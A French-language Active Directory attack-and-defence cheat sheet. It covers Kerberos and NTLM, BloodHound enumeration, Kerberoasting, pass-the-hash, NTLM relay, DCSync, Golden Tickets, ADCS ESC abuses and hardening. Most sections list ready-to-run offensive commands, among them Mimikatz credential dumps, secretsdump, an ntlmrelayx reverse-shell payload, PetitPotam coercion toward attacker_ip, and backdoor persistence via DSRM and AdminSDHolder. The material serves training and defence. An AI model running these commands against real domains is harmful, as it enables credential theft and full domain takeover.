Active Directory Security
Bases · Protocoles · Attaques · ADCS · Persistance · Défense — Sources MITRE ATT&CK + Microsoft + SpecterOps
Structure Active Directory
BASESComposants critiques
Domain Controller (DC)
Serveur exécutant AD DS. Contient NTDS.dit, authentifie les users, distribue les tickets Kerberos. Cible finale de toute attaque AD.
NTDS.dit
Base de données AD (C:\Windows\NTDS\ntds.dit). Contient tous les objets AD, hashes NTLM, Kerberos keys. Son extraction = compromission totale.
SYSVOL
Partage réseau répliqué sur tous les DCs. Contient les GPOs et scripts. Souvent source de credentials en clair dans des scripts legacy (Group Policy Preferences).
krbtgt
Compte service du KDC. Son hash NT chiffre tous les TGTs du domaine. Compromis → Golden Ticket possible. Ne change jamais par défaut.
Hiérarchie Forest / Domain / OU
╔══════════════════════════════════════════════════════════╗ ║ FOREST : corp.local (périmètre de sécurité ultime) ║ ║ ┌──────────────────────────────────────────────────┐ ║ ║ │ DOMAIN : corp.local │ ║ ║ │ DC: dc01.corp.local (NTDS.dit, SYSVOL, KDC) │ ║ ║ │ ┌────────────┐ ┌────────────┐ ┌───────────┐ │ ║ ║ │ │ OU: Users │ │OU:Servers │ │OU:Groups │ │ ║ ║ │ └────────────┘ └────────────┘ └───────────┘ │ ║ ║ └──────────────────────────────────────────────────┘ ║ ║ ↕ Trust (bidirectionnel par défaut) ║ ║ ┌────────────────────────────┐ ║ ║ │ DOMAIN : dev.corp.local │ ← Child Domain ║ ║ └────────────────────────────┘ ║ ╚══════════════════════════════════════════════════════════╝ # Objets AD essentiels User → UPN: john@corp.local | sAMAccountName: john Computer → MACHINE$ (dollar = machine account) Service Acct→ SPN: MSSQLSvc/db01.corp.local:1433 SID → S-1-5-21-{domain}-500 (RID 500 = Administrator) GPO → Appliqué aux OUs → contrôle tout le domaine
Groupes privilégiés à connaître
| Groupe | Droits | Risque |
|---|---|---|
Domain Admins | Admin sur tout le domaine | 🔴 Cible principale — DA = game over |
Enterprise Admins | Admin sur toute la forêt | 🔴 Plus puissant que DA |
Schema Admins | Modifier le schéma AD | 🔴 Persistance indétectable possible |
Backup Operators | Lire n'importe quel fichier (backup) | 🟠 Peut lire NTDS.dit |
Account Operators | Créer/modifier comptes (sauf DA) | 🟠 Escalade possible |
DnsAdmins | Gérer le service DNS | 🟠 → DA via DLL injection |
Protected Users | Politique de sécurité renforcée | ✅ Groupe défensif |
Protocoles d'authentification
| Protocole | Usage | Port | Risques principaux |
|---|---|---|---|
| Kerberos v5 | Auth principale domaine joint | 88/TCP+UDP | Kerberoasting, Golden/Silver Ticket, AS-REP, PTT |
| NTLM / NTLMv2 | Legacy, fallback, IP directe | Any | Pass-the-Hash, NTLM Relay, Cracking |
| LDAP / LDAPS | Requêtes annuaire | 389/636 | Énumération anonyme, LDAP relay, injection |
| SMB | Partages, RPC, exécution distante | 445 | Relay, PsExec, EternalBlue (SMBv1) |
| WinRM | PowerShell remoting | 5985/5986 | Mouvement latéral (evil-winrm) |
| RPC/WMI | Administration distante | 135+dyn | Exécution distante, DCSync |
Kerberos & NTLM — Protocoles en profondeur
FONDAMENTALFlux Kerberos complet
CLIENT KDC (DC) SERVICE │ │ │ │──── AS-REQ ─────────►│ (username + timestamp │ │ chiffré avec NT hash du user) │ │ │ │ │◄─── AS-REP ──────────│ TGT chiffré clé krbtgt │ │ + Session Key 1 │ │ │ ↑ AS-REP Roasting : si pas de pré-auth → │ │ le hash dans AS-REP est cracable offline │ │ │ │ │──── TGS-REQ ─────────►│ TGT + SPN cible │ │ │ │ │◄─── TGS-REP ──────────│ Service Ticket (TGS) │ │ chiffré avec NT hash du compte service │ │ ↑ Kerberoasting : tout user peut faire ça → │ │ TGS hors ligne cracable si password faible │ │ │ │ │──── AP-REQ ──────────────────────────────────► │ │ [TGS présenté au service → accès accordé] │ # Acteurs clés KDC = Key Distribution Center (rôle du DC) TGT = Ticket-Granting Ticket (~10h, renouvelable 7j) TGS/ST = Service Ticket (accès à 1 service spécifique) krbtgt = compte service KDC — son hash = clé de tout le domaine SPN = Service Principal Name (ex: MSSQLSvc/db01:1433) PAC = Privilege Attribute Certificate (memberships dans le TGT)
NTLM Challenge/Response
Client ──NEGOTIATE──────────────────────► Server Client ◄─CHALLENGE (nonce 8 bytes) ───── Server Client ──AUTHENTICATE ──────────────────► Server [NTLMv2 = HMAC-MD5(NT hash, challenge + timestamp + cnonce)] # Types de hashes — à connaître absolument LM hash : aad3b435b51404eeaad3b435b51404ee (vide = toujours ce hash) NT hash : 32196b56ffe6f45e294117b91a83bf38 (MD4 du mot de passe Unicode) NTLMv1 : challenge/response MD4 (faible, cracable facilement) NTLMv2 : HMAC-MD5 avec challenge unique (réseau — relayable, pas PTH)
Énumération Active Directory
RECONBloodHound / SharpHound — Cartographie des chemins d'attaque
# BloodHound = graphe Neo4j de toutes les relations AD # Trouve les chemins vers Domain Admins automatiquement ## Collecte — SharpHound (Windows) .\SharpHound.exe -c All --outputdirectory C:\temp\ .\SharpHound.exe -c All,GPOLocalGroup --ldapusername john --ldappassword Pass123 ## Collecte — bloodhound-python (Linux, sans Windows) pip install bloodhound bloodhound-python -u 'john' -p 'Pass123' -d corp.local -ns 10.10.10.10 -c all ## Lancer BloodHound sudo neo4j console & bloodhound ## Cypher queries essentielles (Neo4j) # Chemin le plus court vers Domain Admins MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p # Tous les users Kerberoastables membres de groupes privil. MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true RETURN u.name,g.name # Comptes avec droits DCSync MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p # Comptes avec mot de passe qui n'expire pas MATCH (u:User {pwdneverexpires:true, enabled:true}) RETURN u.name
PowerView — Énumération PowerShell
Import-Module .\PowerView.ps1 # Domaine et DCs Get-Domain ; Get-DomainController Get-DomainPolicy | Select -ExpandProperty SystemAccess # Users (intéressants) Get-DomainUser | select samaccountname,description,pwdlastset,admincount,memberof Get-DomainUser -SPN # → Kerberoastables Get-DomainUser -PreauthNotRequired # → AS-REP Roastables Get-DomainUser -AdminCount # → membres anciens groupes admin # Groupes Get-DomainGroupMember -Identity "Domain Admins" -Recurse # Machines Get-DomainComputer | select name,operatingsystem,lastlogon | sort lastlogon -desc # ACLs dangereuses (WriteDACL, GenericAll, GenericWrite, ForceChangePassword) Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReference,ObjectDN,ActiveDirectoryRights # GPO avec credentials Get-DomainGPOLocalGroup
Impacket / CrackMapExec (Linux)
## Impacket — énumération sans GUI impacket-GetADUsers -all corp.local/john:Pass123 -dc-ip 10.10.10.10 impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10 impacket-lookupsid corp.local/john:Pass123@10.10.10.10 # enum SIDs ## CrackMapExec / NetExec (nxc) — swiss army knife crackmapexec smb 10.10.10.0/24 -u john -p Pass123 crackmapexec smb 10.10.10.10 -u john -p Pass123 --users crackmapexec smb 10.10.10.10 -u john -p Pass123 --groups crackmapexec smb 10.10.10.10 -u john -p Pass123 --shares crackmapexec smb 10.10.10.10 -u john -p Pass123 --pass-pol # politique MDP
Kerberoasting
CRITIQUET1558.003Principe : Tout utilisateur authentifié peut demander un TGS pour n'importe quel SPN. Ce ticket est chiffré avec le NT hash du compte de service. L'attaquant extrait le ticket et le craque offline — zéro bruit après la demande initiale.
Chaîne d'attaque
## 1. Trouver les comptes avec SPN (Kerberoastables) Get-DomainUser -SPN | select samaccountname,serviceprincipalname impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10 ## 2. Requêter les TGS et extraire les hashes # Linux — Impacket (tout en un) impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10 -request -outputfile kerb_hashes.txt # Windows — Rubeus .\Rubeus.exe kerberoast /outfile:kerb_hashes.txt .\Rubeus.exe kerberoast /rc4opsec /outfile:kerb_hashes.txt # force RC4 = plus rapide à cracker .\Rubeus.exe kerberoast /user:svc_sql /outfile:kerb_hashes.txt # cibler 1 user # Windows — PowerView Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerb_hashes.csv -NoTypeInformation ## 3. Cracker offline hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt # RC4 hashcat -m 19700 kerb_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule # AES256 john --wordlist=rockyou.txt kerb_hashes.txt ## Détection — Event IDs 4769 : Kerberos Service Ticket Requested → Ticket_Encryption_Type = 0x17 (RC4) + grand volume depuis 1 IP = SUSPECT
Défenses
- gMSA / dMSA : Group Managed Service Accounts → password 128 chars aléatoire, auto-rotaté
- Passwords 30+ chars aléatoires sur tous les comptes de service existants
- Désactiver RC4, forcer AES256 uniquement (msDS-SupportedEncryptionTypes)
- Supprimer les SPNs inutiles — auditer régulièrement
- Ne jamais donner des droits DA à un compte de service
AS-REP Roasting
HIGHT1558.004Si un compte a l'option DONT_REQ_PREAUTH, n'importe qui peut envoyer une AS-REQ sans s'authentifier. Le KDC répond avec une partie du message chiffrée avec le NT hash du user — cracable offline sans jamais avoir de compte valide.
## Linux — sans credentials (si on a une liste d'usernames) impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat -no-pass -outputfile asrep.txt ## Linux — avec credentials (énumère automatiquement) impacket-GetNPUsers corp.local/john:Pass123 -dc-ip 10.10.10.10 -request -format hashcat -outputfile asrep.txt ## Windows — Rubeus .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt .\Rubeus.exe asreproast /user:vulnerable_user /format:hashcat /outfile:asrep.txt ## Cracker hashcat -m 18200 asrep.txt rockyou.txt hashcat -m 18200 asrep.txt rockyou.txt -r rules/best64.rule ## Trouver les comptes vulnérables (PowerView) Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname
Pass-the-Hash (PtH)
CRITIQUET1550.002NTLM accepte le NT hash directement — pas besoin du mot de passe en clair. Si l'attaquant vole un NT hash (via Mimikatz, DCSync, SAM dump...), il peut s'authentifier sur toute machine où ce compte est valide.
## 1. Obtenir les hashes NT # Mimikatz — dump LSASS en mémoire (nécessite admin) privilege::debug sekurlsa::logonpasswords # dump tout — passwords + hashes sekurlsa::msv # hashes NT uniquement # SAM dump (comptes locaux) crackmapexec smb 10.10.10.10 -u admin -p Pass123 --sam impacket-secretsdump corp.local/admin:Pass123@10.10.10.10 --sam ## 2. Utiliser les hashes (format user:rid:LM:NT:::) # Impacket — psexec (crée un service = bruyant) impacket-psexec corp.local/Administrator@10.10.10.10 -hashes aad3b435b51404ee:32196b56ffe6f45e # Impacket — wmiexec (plus discret) impacket-wmiexec corp.local/Administrator@10.10.10.10 -hashes :32196b56ffe6f45e # Impacket — smbexec impacket-smbexec corp.local/Administrator@10.10.10.10 -hashes :32196b56ffe6f45e # evil-winrm evil-winrm -i 10.10.10.10 -u Administrator -H 32196b56ffe6f45e # CrackMapExec — spray PTH sur tout le réseau crackmapexec smb 10.10.10.0/24 -u Administrator -H 32196b56ffe6f45e # "Pwn3d!" → admin local sur cette machine # Mimikatz — PTH pour ouvrir un processus sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:32196b56ffe6f45e /run:cmd.exe
Défenses
- Windows Credential Guard — virtualise LSASS, bloque Mimikatz sekurlsa
- LAPS (Local Administrator Password Solution) — passwords admin locaux aléatoires uniques
- Protected Users group — interdit l'auth NTLM, Kerberos RC4, délégation
- Désactiver NTLM (Kerberos uniquement) via GPO
- Tier model (Admin Tier 0/1/2) — isolation des comptes admin
Pass-the-Ticket & Overpass-the-Hash
HIGHT1550.003## Pass-the-Ticket — voler et réutiliser un ticket Kerberos # Lister et exporter les tickets klist # voir les tickets du user courant .\Rubeus.exe dump /nowrap # dump tous les tickets base64 mimikatz# sekurlsa::tickets /export # export .kirbi files # Importer un ticket volé .\Rubeus.exe ptt /ticket:base64_or_file.kirbi mimikatz# kerberos::ptt ticket.kirbi export KRB5CCNAME=stolen.ccache # Linux (Impacket) ## Overpass-the-Hash — NT hash → TGT Kerberos (+ discret que PTH) .\Rubeus.exe asktgt /user:Administrator /rc4:NT_HASH /ptt .\Rubeus.exe asktgt /user:Administrator /aes256:AES_HASH /ptt /opsec mimikatz# sekurlsa::pth /user:Admin /domain:corp.local /ntlm:HASH /run:powershell.exe ## Résumé comparatif PTH → auth NTLM → NT hash direct → EventID 4624 Type 3 NTLM PTT → auth Kerb → ticket volé → trafic Kerberos normal, discret OPtH → auth Kerb → NT hash → TGT → Kerb → le plus discret des 3
LLMNR Poisoning & NTLM Relay
CRITIQUE · RÉSEAUT1557.001LLMNR / NBT-NS sont des protocoles de fallback DNS qui broadcastent sur le LAN quand le DNS échoue. Responder se positionne comme Man-in-the-Middle pour capturer les authentifications NTLM automatiques des victimes.
Phase 1 — Capture avec Responder
## Lancer Responder (empoisonne LLMNR, NBT-NS, mDNS) sudo responder -I eth0 -v sudo responder -I eth0 -rdwv # + WPAD, DHCPv6 # Victimes capturées automatiquement quand elles accèdent à \\partage_inexistant # Logs : /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.x.txt ## Cracker les NTLMv2 capturés hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
Phase 2 — NTLM Relay (si SMB signing désactivé)
## Vérifier SMB signing sur le réseau crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt nmap --script smb2-security-mode -p445 10.10.10.0/24 ## Setup : désactiver SMB/HTTP dans Responder (ntlmrelayx prend le relais) sudo sed -i 's/SMB = On/SMB = Off/;s/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf ## ntlmrelayx — dump SAM des cibles sudo impacket-ntlmrelayx -tf targets.txt -smb2support ## ntlmrelayx — shell interactif sur la cible sudo impacket-ntlmrelayx -tf targets.txt -smb2support -i ## ntlmrelayx — exécuter une commande (reverse shell) sudo impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -e BASE64_REVSHELL" ## Responder en parallèle pour le poisoning sudo responder -I eth0 -v
Défenses
- Désactiver LLMNR via GPO : Computer Configuration → Administrative Templates → Network → DNS Client → Turn Off Multicast Name Resolution
- Désactiver NBT-NS via DHCP options ou WMI sur toutes les interfaces
- SMB Signing obligatoire sur tous les serveurs — bloque le relay
- Extended Protection for Authentication (EPA) pour HTTP
- Alerter sur EventID 4648 (logon explicite inhabituel)
Mouvement Latéral
HIGHT1021| Technique | Port | Outil | Discrétion | Event ID |
|---|---|---|---|---|
| PsExec (service SMB) | 445 | psexec, PsExec.exe | 🔴 Bruyant | 7045, 4697 |
| WMI Exec | 135 | wmiexec, CrackMapExec | 🟠 Moyen | 4688 |
| WinRM / evil-winrm | 5985 | evil-winrm, Enter-PSSession | 🟡 Discret | 4688 |
| DCOM Exec | 135 | dcomexec | 🟡 Discret | 4688 |
| SMBExec | 445 | smbexec | 🟠 Moyen | 4624 |
| RDP | 3389 | xfreerdp, rdesktop | 🔴 Visible | 4624 T10 |
| SSH (si activé) | 22 | ssh | 🟡 Normal | — |
## evil-winrm — le plus polyvalent depuis Linux evil-winrm -i 10.10.10.10 -u Administrator -p 'Password123' evil-winrm -i 10.10.10.10 -u Administrator -H 32196b56ffe6f45e294117b91a83bf38 evil-winrm -i 10.10.10.10 -u Administrator -p 'Pass' -s /path/to/ps-scripts/ ## CrackMapExec / NetExec crackmapexec smb 10.10.10.10 -u john -p Pass123 -x "whoami /all" # cmd crackmapexec smb 10.10.10.10 -u john -p Pass123 -X "Get-Process" # PowerShell crackmapexec winrm 10.10.10.10 -u john -p Pass123 -x "whoami" ## Impacket — options impacket-wmiexec corp.local/john:Pass123@10.10.10.10 # WMI, semi-interactif impacket-dcomexec corp.local/john:Pass123@10.10.10.10 # DCOM impacket-atexec corp.local/john:Pass123@10.10.10.10 "cmd /c whoami" # Task Scheduler ## RDP depuis Linux xfreerdp /v:10.10.10.10 /u:Administrator /p:Password123 /cert:ignore xfreerdp /v:10.10.10.10 /u:Administrator /pth:NT_HASH /cert:ignore # PTH via RDP
DCSync — Dump total du domaine
CRITIQUE → DAT1003.006DCSync simule un DC secondaire demandant la réplication AD via le protocole MS-DRSR. Un compte avec les droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All extrait tous les hashes NTLM du domaine — sans toucher au fichier NTDS.dit.
## Avec Mimikatz (Windows — session avec droits DA ou DCSync) mimikatz# lsadump::dcsync /domain:corp.local /user:Administrator mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt # pour Golden Ticket! mimikatz# lsadump::dcsync /domain:corp.local /all /csv # dump TOTAL ## Avec Impacket secretsdump (Linux) impacket-secretsdump corp.local/Administrator:Pass123@10.10.10.10 impacket-secretsdump corp.local/Administrator@10.10.10.10 -hashes :NT_HASH impacket-secretsdump -just-dc-user krbtgt corp.local/admin:pass@10.10.10.10 impacket-secretsdump -just-dc-ntlm corp.local/admin:pass@10.10.10.10 ## NTDS.dit extraction directe (accès physique DC) vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL ## Droits nécessaires pour DCSync DS-Replication-Get-Changes → GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 DS-Replication-Get-Changes-All → GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 Par défaut: Domain Admins, Enterprise Admins, Domain Controllers BloodHound: edge "DCSync" identifie qui a ces droits ## Détection EventID 4662 : accès aux attributs de réplication (Directory Service) → Object Type: domainDNS + Access: 1131f6aa + Source IP ≠ DC → ALERT!
ACL Abuse — Escalade via droits AD
CRITIQUET1222.001| Droit ACL | Sur quoi | Exploitation |
|---|---|---|
GenericAll | User/Group/Computer | Modifier tout — password reset, add to group, takeover |
GenericWrite | User/Computer | Modifier des attributs — SPN (Targeted Kerberoasting), scriptPath |
WriteOwner | Tout objet | Devenir propriétaire → WriteDACL → GenericAll |
WriteDACL | Tout objet | Modifier les ACLs → s'accorder GenericAll |
ForceChangePassword | User | Changer le mot de passe sans connaître l'ancien |
AddMember | Group | Ajouter un user au groupe (Domain Admins!) |
AllExtendedRights | User/Domain | Reset password + DCSync |
Owns | Tout objet | Propriétaire = contrôle total des ACLs |
## Exploitation avec PowerView # GenericAll sur un user → reset password $SecPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force Set-DomainUserPassword -Identity victim_user -AccountPassword $SecPass # GenericAll sur un group → ajouter son user Add-DomainGroupMember -Identity "Domain Admins" -Members john # WriteDACL → s'accorder DCSync rights Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity john -Rights DCSync # GenericWrite sur computer → Resource-Based Constrained Delegation # (→ RBCD attack → impersonation de n'importe quel user sur cette machine) Set-DomainObject -Identity target_computer -Set @{msds-allowedtoactonbehalfofotheridentity=$AttackerSD} # ForceChangePassword Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'P@ss!23' -AsPlainText -Force) -Verbose ## Targeted Kerberoasting (GenericWrite → SPN) # Ajouter un SPN au compte cible → le rendre Kerberoastable Set-DomainObject -Identity target_user -Set @{serviceprincipalname='nonexistent/BLAH'} Get-DomainUser target_user | Get-DomainSPNTicket -Format Hashcat Set-DomainObject -Identity target_user -Clear serviceprincipalname # nettoyage
Golden Ticket & Silver Ticket
CRITIQUE · PERSISTANCET1558.001/002🥇 Golden Ticket
TGT forgé signé avec le hash NT de krbtgt. Permet de s'authentifier comme n'importe quel utilisateur du domaine. Valide jusqu'à 10 ans. Persistance totale tant que krbtgt n'est pas changé 2x.
🥈 Silver Ticket
TGS forgé pour un service spécifique, signé avec le hash du compte de service. Plus discret (pas de contact KDC). Accès limité à un service, mais aucun contact DC → difficile à détecter.
## PRÉ-REQUIS Golden Ticket : hash NT du compte krbtgt impacket-secretsdump -just-dc-user krbtgt corp.local/admin:pass@10.10.10.10 # Obtenir aussi le SID du domaine impacket-lookupsid corp.local/admin:pass@10.10.10.10 | grep "Domain SID" Get-DomainSID # PowerView ## Créer le Golden Ticket — Mimikatz mimikatz# kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXX-YYY-ZZZ /krbtgt:KRBTGT_NT_HASH /ptt # /ptt = injecter en mémoire | /ticket = sauvegarder en .kirbi # /groups:512 = Domain Admins (optionnel, inclus par défaut) ## Créer le Golden Ticket — Impacket ticketer (Linux) impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain corp.local FakeAdmin export KRB5CCNAME=FakeAdmin.ccache impacket-psexec -k -no-pass corp.local/FakeAdmin@dc01.corp.local ## Silver Ticket — exemple pour CIFS (file shares) mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:server01.corp.local /service:cifs /rc4:SERVICE_NT_HASH /ptt ## Silver Ticket — services courants cifs → accès aux partages SMB host → création de tâches planifiées http → accès aux services web IIS (SSRS, etc.) mssql → accès aux bases SQL Server ldap → accès LDAP (pour DCSync!) ## Défense : Diamond Ticket (détection améliorée) Les Golden Tickets ont un PAC forgé → certains détecteurs le voient. Diamond Tickets modifient un TGT légitime → beaucoup plus difficile à détecter.
Persistance Active Directory
CRITIQUET1098| Technique | Prérequis | Discrétion | Résilience |
|---|---|---|---|
| Golden Ticket | krbtgt hash | 🟡 Détectable | Jusqu'à 2x rotation krbtgt |
| Silver Ticket | Service NT hash | 🟢 Très discret | Jusqu'à reset service account |
| Diamond Ticket | krbtgt + DA | 🟢 Difficile à détecter | Jusqu'à 2x rotation krbtgt |
| Skeleton Key | DA / LSASS patching | 🔴 Bruyant | Jusqu'au reboot du DC |
| AdminSDHolder | DA | 🟡 Subtil | Permanente si non nettoyé |
| DCSync rights | DA / WriteDACL | 🟢 Discret | Permanente si non révoquée |
| SIDHistory | DA | 🟡 Subtil | Permanente si non nettoyée |
| DSRM backdoor | DC access | 🟢 Très discret | Permanente |
## AdminSDHolder — persistance via ACL sur un objet protégé # AdminSDHolder est le template de sécurité pour les groupes privilégiés # SDProp (s'exécute toutes les 60 min) copie ses ACLs sur DA, EA, etc. # → Si on ajoute nos droits sur AdminSDHolder, ils sont restaurés toutes les 60min! Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity john -Rights All ## DCSync rights persistants (WriteDACL sur le domaine) Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity john -Rights DCSync ## DSRM Backdoor (Directory Services Restore Mode) # DSRM = compte admin local du DC pour la recovery # Par défaut: DSRM ne peut pas s'authentifier via réseau # Modifier la registry → DSRM devient utilisable à distance New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD mimikatz# token::elevate mimikatz# lsadump::sam # obtenir le hash DSRM # Puis PTH avec le hash DSRM depuis n'importe où ## SIDHistory abuse # Ajouter le SID de DA à l'attribut SIDHistory d'un compte ordinaire # → ce compte aura les droits DA dans les tickets Kerberos mimikatz# sid::patch mimikatz# misc::addsid john_user S-1-5-21-XXX-512 # 512 = Domain Admins RID
ADCS — Active Directory Certificate Services
CRITIQUE · ESC1-ESC8T1649Concepts clés ADCS
CA = Certificate Authority (serveur ADCS) — gère les certificats
Template = modèle définissant ce que le certificat peut faire
SAN = Subject Alternative Name — à qui le certificat s'applique (UPN, DNS)
EKU = Extended Key Usage — usage autorisé (Client Auth, Code Signing...)
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT → user contrôle le SAN
ESC1 — SAN arbitraire + enrollment utilisateur
## ESC1 Conditions : # 1. Template avec msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT # 2. EKU contient Client Authentication (ou Smart Card Login, PKINIT) # 3. Enrollment autorisé pour des utilisateurs non-admins ## Exploitation — Certipy (Linux) # Trouver les templates vulnérables certipy find -u john@corp.local -p Pass123 -dc-ip 10.10.10.10 certipy find -u john@corp.local -p Pass123 -dc-ip 10.10.10.10 -vulnerable -stdout # Demander un certificat en se faisant passer pour Administrator (ESC1) certipy req -u john@corp.local -p Pass123 -dc-ip 10.10.10.10 -ca CORP-CA -template VulnerableTemplate -upn administrator@corp.local # Utiliser le certificat pour obtenir le NT hash de Administrator certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 # → Retourne le NT hash via PKINIT → Pass-the-Hash vers DA! ## Exploitation — Certify + Rubeus (Windows) .\Certify.exe find /vulnerable .\Certify.exe request /ca:dc01.corp.local\CORP-CA /template:VulnerableTemplate /altname:administrator .\Rubeus.exe asktgt /user:administrator /certificate:base64cert /password:certpass /ptt
ESC2 — Tout EKU ou Any Purpose
## ESC2 Conditions : EKU = Any Purpose OU aucun EKU (SubCA) ## L'attaquant peut créer un certificat utilisable pour n'importe quel EKU ## → peut agir comme un certificat ESC1 ou comme un CA subordonné certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template ESC2Template -upn administrator@corp.local
ESC3 — Enrollment Agent + Template arbitraire
## ESC3 : 2 templates vulnérables nécessaires # Template 1: EKU = Certificate Request Agent (Enrollment Agent) # Template 2: autorise l'enrollment agent à s'inscrire pour d'autres users ## Étape 1 : obtenir un certificat Enrollment Agent certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template EnrollmentAgentTemplate # Étape 2 : demander un certificat au nom d'Administrator certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template User -on-behalf-of corp\\administrator -pfx enrollment_agent.pfx
ESC4 — Droits d'écriture sur un template
## ESC4 : l'attaquant a des droits GenericWrite/WriteDACL sur un template ## → Modifier le template pour le rendre ESC1 vulnérable certipy template -u john@corp.local -p Pass123 -template VictimTemplate -save-old certipy template -u john@corp.local -p Pass123 -template VictimTemplate -configuration "msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT" # Puis exploiter comme ESC1, puis restaurer
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag sur CA
## ESC6 : flag sur la CA qui permet à n'importe quel template d'avoir un SAN arbitraire ## Même des templates qui n'ont pas ENROLLEE_SUPPLIES_SUBJECT deviennent ESC1-like ## Vérifier le flag certutil -config "dc01.corp.local\CORP-CA" -getreg policy\EditFlags # EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000 = vulnérable certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template User -upn administrator@corp.local
ESC8 — NTLM Relay vers ADCS HTTP Enrollment
## ESC8 : le point d'enrollment ADCS via HTTP (CES) n'a pas de protections ## → NTLM relay de n'importe quel compte vers /certsrv/certfnsh.asp ## → Obtenir un certificat pour la machine relayée → PTH ou DCSync ## Conditions : ADCS avec Web Enrollment actif (http://ca/certsrv/) # Setup — Certipy relay (Python) certipy relay -target http://ca.corp.local/certsrv/certfnsh.asp -template DomainController # En parallèle — déclencher une auth NTLM (ex: PetitPotam vers DC) python3 PetitPotam.py -u john -p Pass123 attacker_ip dc01.corp.local # → Le DC s'authentifie vers notre relay → certificat du DC obtenu # → Utiliser le certificat pour DCSync certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 # → NT hash du DC → DCSync
Vue d'ensemble ESC1-ESC16
| ESC | Description | Impact |
|---|---|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU | DA via SAN arbitraire |
| ESC2 | Any Purpose EKU / SubCA | DA — usage universel du cert |
| ESC3 | Enrollment Agent abuse | DA — demande cert pour n'importe qui |
| ESC4 | Write access sur template vulnérable | DA — modifier template → ESC1 |
| ESC5 | Write access sur PKI Objects dans AD | DA — modifier objets PKI |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 sur CA | DA — SAN arbitraire global |
| ESC7 | Write access sur la CA elle-même | DA — contrôle total de la PKI |
| ESC8 | NTLM Relay → Web Enrollment ADCS | DA — relay DC → cert DC → DCSync |
| ESC9-16 | Attaques avancées (shadow credentials, PFX theft, relay variations) | Escalade vers DA |
Défenses ADCS
- Certipy / Certify audit — scanner régulièrement les templates vulnérables
- Désactiver le flag
EDITF_ATTRIBUTESUBJECTALTNAME2 - Activer HTTPS + EPA sur les endpoints Web Enrollment
- Auditer les permissions sur les templates CA
- Désactiver
ENROLLEE_SUPPLIES_SUBJECTsur tous les templates non nécessaires - Microsoft: KB5014754 (mai 2022) — renforce la validation des certs Kerberos
Hardening & Détection AD
DÉFENSEMesures de hardening prioritaires
✅ Microsoft LAPS
Passwords admin locaux aléatoires uniques par machine. Bloque la propagation latérale via compte admin local commun. Déployer LAPS v2 (intégré Windows 2019+).
✅ Credential Guard
Virtualise LSASS dans un contexte sécurisé. Bloque l'extraction de credentials via Mimikatz sekurlsa. Requis: UEFI + Secure Boot + Hyper-V.
✅ Protected Users Group
Interdit : NTLM, RC4, Kerberos délégation, credentials en cache. Ajouter tous les comptes admin dans ce groupe.
✅ Tiered Admin Model
Tier 0 (DC/CA), Tier 1 (servers), Tier 2 (workstations). Comptes séparés par tier. Empêche la latéralité entre tiers.
✅ SMB Signing obligatoire
GPO : Microsoft network server → Digitally sign communications (always). Bloque NTLM relay sur SMB.
✅ Désactiver LLMNR / NBT-NS
GPO Computer → DNS Client → Turn Off Multicast Name Resolution = Enabled. Bloque Responder.
Event IDs critiques à monitorer
| Event ID | Description | Attaque associée |
|---|---|---|
4624 | Successful logon | Type 3 NTLM = PTH ; Type 10 = RDP |
4625 | Failed logon | Brute force / password spraying |
